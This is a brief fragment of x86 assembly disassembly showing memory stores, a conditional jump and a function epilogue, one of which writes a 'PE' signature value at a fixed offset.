mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x3c], ecx
mov dword [0x101b0f18], 0x1af1
mov ecx, dword [ebp - 0x40]
mov dword [edx + 0x58], ecx
mov dword [0x101b0f14], 0x1860
cmp ecx, 0
mov dword [ebp - 0x3c], eax
je 0x10197e7c
mov dword [0x101b0f18], 0xb20
mov eax, dword [ebp - 0x40]
add eax, 0x19e4
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
add esp, 0x4c
pop esi
pop ebp
ret